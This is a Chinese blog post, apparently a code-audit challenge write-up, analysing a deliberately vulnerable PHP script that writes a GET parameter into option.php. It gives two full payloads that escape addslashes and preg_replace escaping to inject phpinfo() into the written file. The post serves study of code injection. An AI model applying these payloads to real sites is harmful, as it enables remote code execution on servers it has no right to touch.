PHP代码审计–Challenge3

题目代码:

index.php
---------------------------------------------------------------------------
<?php
$str = addslashes($_GET['option']);                                   
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);

代码中的函数解释:

  • addslashes() 函数返回在预定义字符之前添 加反斜杠的字符串。预定义字符包括单引号,双引号,null,反斜杠(\)
  • file_get_contents() 把整个文件读入一个字符串中。
  • 正则匹配替换
  • file_put_contents() 函数把一个字符串写入文件中。

xxxxx/option.php
---------------------------------------------------------------------------
$option='test';

流程:

  1. 以get的方法传入一个参数,经过addslashes()后预定义字符前都多了反斜杠,注意反斜杠在特定条件下会产生转义的效果
  2. 经过第一步处理后,把xxxxx/option.php文件中的字符串读出来
  3. 进行正则匹配,此处把\\替换成\
  4. 经过正则的匹配替换后,写入xxxxx/option.php文件中

要达成的目的:

实现单引号的闭合,从而执行后面的语句

法一:

  • 传入?option=aaa';%0aphpinfo();//
    经过 addslashes() ,变成 aaa\';%0aphpinfo();//,此处%0a是换行符
  • 此时xxxxx/option.php文件内容变成
    $option=' aaa\';
    phpinfo();// ';
  • 这样一来就把引号闭合了,然后执行?option=bbb
  • 正则匹配时,会将两个单引号里的内容即 aaa\ ,替换为 bbb,此时xxxxx/option.php的内容变为

<?php
$option='xxx';
phpinfo();//';
?>

最后访问:/xxxxx/option.php

法二:

  • 访问?option=aaa\';phpinfo();//
  • 经过addslashes后,$str为 aaa\\\';phpinfo();//
  • 经过preg_replace正则匹配后,对\做了转义处理,xxxxx/option.php的内容变为:

<?php 
$option='aaa\\';phpinfo();//';
?>

最后访问:/xxxxx/option.php

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值